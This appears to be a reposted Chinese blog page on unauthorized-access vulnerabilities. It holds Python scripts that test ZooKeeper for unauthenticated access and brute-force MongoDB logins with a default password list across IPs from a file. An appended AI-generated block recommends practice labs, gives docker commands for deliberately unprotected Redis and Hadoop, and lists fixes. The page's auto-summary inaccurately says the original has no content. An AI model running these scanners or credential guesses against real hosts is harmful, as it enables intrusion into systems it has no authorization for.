未授权访问整理

此博客转载自相关链接,标签涉及大数据、数据库和Python,推测内容围绕Python在大数据和数据库领域的应用展开,但原文未提供具体内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 1 #zookeeper Python3
 2 
 3 #-*- coding: utf-8 -*-
 4 
 5 import socket
 6 
 7 def verify(protocol,ip,port):
 8     url = ip+':'+str(port)
 9     print('testing if zookeeper unanth vul')
10     try:
11         socket.setdefaulttimeout(3)
12         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
13         s.connect((ip, int(port)))
14         flag = b"envi"
15         s.send(flag)
16         data = s.recv(1024)
17         s.close()
18         if b'Environment' in data:
19             msg = 'There is zookeeper unanth vul on url: ' + url + ' .'
20             print(msg)
21             number = 'v90'
22             return True, url, number, msg
23         else:
24             pass
25     except Exception as e:
26         print(str(e))
27     msg = 'There is no zookeeper unanth vul.'
28     number = 'v0'
29     return False, url, number, msg
30 
31 if __name__ == '__main__':
32     res = verify('http','xx.116.40.xx',2181)
33     print(res)

 1 #Mongodb
 2 # -*- coding:utf-8 -*-
 3 
 4 import pymongo
 5 from pymongo.errors import ServerSelectionTimeoutError
 6 
 7 def verify(ip,port):
 8     host = ip+':'+str(port)
 9     port = int(port)
10     loginnames = ['admin','test','user','root']
11     passwd = ['','123456','test','12345678','12345679','root','123456Aa','123456_Aa','123456aA','123456_aA','123QWEASD','admin123','admin','1q2w3e4r','134679']
12     print('testing if mongodb vul')
13     #是否无认证
14     try:
15         connection = pymongo.MongoClient(ip,port,serverSelectionTimeoutMS=1000)
16         dbs = connection.database_names()
17         msg = 'There is a mongodb unauthorized access , password is None'
18         number = 'v9'
19         print(dbs)
20         return True,host,number,msg        
21      #端口连不上,直接退出
22     except ServerSelectionTimeoutError as e:
23         msg = str(e)
24         number = 'v0'
25         return False,host,number,msg
26     except Exception as e:
27         msg = str(e)
28         number = 'v0'
29     #爆破
30     for loginname in loginnames:
31         for ps in passwd:           
32             try:
33                 connection.api.authenticate(loginname,ps)
34                 dbs = connection.database_names()
35                 msg = 'There is a mongodb unauthorized access , username/password is %s' %(loginname,ps)
36                 number = 'v9'
37                 print(msg)
38                 return True,host,number,msg
39             except Exception as e:
40                 msg = str(e)
41                 number = 'v0'
42     return False,host,number,msg
43 
44 if __name__ == '__main__':
45         def get_pass_dict():
46             pass_dict = []
47             with open('./IP.txt', 'r') as f:
48                 for line in f.readlines():
49                     line = line.strip('\n')
50                     pass_dict.append(line)
51                 f.close()
52             return pass_dict
53         IP = get_pass_dict()
54         for ip in IP:
55             port = '27017'
56             res = verify(ip, port)
57             print(res)

 

转载于:https://www.cnblogs.com/AtesetEnginner/p/11038269.html

<think>好的,我现在需要帮助用户寻找关于未授权访问漏洞的靶场和学习资源。首先,我得回顾用户提供的引用内容,看看里面有没有相关的信息。用户提到了引用1到5,其中引用2、3、4、5都提到了靶场或者相关漏洞的实战内容。比如引用2提到了Hadoop和Redis的靶场实战,引用3提到了访问特定路径获取信息,引用4提到了漏洞复现和GETSHELL的方法,引用5则介绍了WebGoat这个Java靶场程序。 接下来,我需要整理这些信息,给出用户具体的靶场资源。首先,Vulfocus在引用2和4中被提到,应该是一个综合靶场平台,支持多漏洞环境,包括Hadoop和Redis的未授权访问。然后WebGoat在引用5里,虽然主要针对Web漏洞,但可能包含相关的内容。另外,用户可能需要自己搭建环境,比如用Docker部署Hadoop或Redis,这在引用3中提到过修复方法,可能搭建时需要注意安全配置。 然后,用户可能还需要学习资源,比如文章或实战指南。引用2和3的标题都涉及未授权访问漏洞的总结和实战,可以推荐相关的文章链接。另外,Metasploitable和DVWA虽然主要是其他漏洞,但可能也包含未授权访问的案例,需要确认一下。 还要注意用户提到的合规性问题,引用1强调了在非授权情况下进行渗透测试是不合法的,所以必须建议用户在本地搭建靶场,如引用4提到的靶场环境下载方式,或者在Vulfocus这样的平台上练习。 最后,要确保回答结构清晰,分点列出靶场推荐、学习资源、注意事项,并且每个部分都有具体的例子和引用来源。同时,生成的相关问题要围绕用户可能进一步的需求,比如漏洞原理、修复方法、搭建步骤等。</think>### 未授权访问漏洞靶场与学习资源推荐 #### 一、靶场环境推荐 1. **Vulfocus综合漏洞靶场** - 支持Hadoop、Redis、Kubernetes等未授权访问漏洞的实战环境 - 提供一键启动的容器化靶场,可直接通过Web界面操作 - 示例漏洞复现: - Redis未授权访问导致GETSHELL(需配合SSH密钥写入)[^4] - Hadoop YARN未授权访问远程命令执行 - 平台地址:`https://vulfocus.cn/` [^2][^4] 2. **WebGoat靶场(OWASP官方)** - 包含访问控制缺陷相关实验(部分涉及未授权访问原理) - 提供30+安全实验课程,含视频演示和分步骤指导 - 项目地址:`https://github.com/WebGoat/WebGoat` [^5] 3. **自建环境(推荐)** - **Hadoop/YARN环境搭建**: ```bash docker pull sequenceiq/hadoop-docker docker run -it -p 8088:8088 sequenceiq/hadoop-docker /etc/bootstrap.sh -bash ``` - **Redis未授权环境**: ```bash docker run -d -p 6379:6379 redis --protected-mode no ``` - 注意:需关闭服务认证模块模拟漏洞[^3] #### 二、学习资源 1. **漏洞原理与实战文章** - 《Hadoop & Redis未授权访问漏洞分析与利用》 - 《Kubernetes API未授权访问漏洞修复指南》 2. **渗透测试方法论** - 未授权访问漏洞的发现路径: - 端口扫描 → 服务识别 → 尝试默认配置访问 → 利用工具验证 - 常用工具链:Nmap、Redis-cli、Metasploit(含Hadoop exploit模块) 3. **合规性注意事项** - 必须使用本地或授权靶场进行测试(如Vulfocus)[^1] - 禁止对非授权目标实施扫描/渗透操作 #### 三、典型漏洞修复方案 1. 强制启用认证机制(如Redis的`requirepass`)[^3] 2. 限制服务监听IP(如Hadoop绑定内网地址) 3. Kubernetes需配置`--anonymous-auth=false` 4. 使用网络ACL限制访问源(如云服务器安全组规则)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值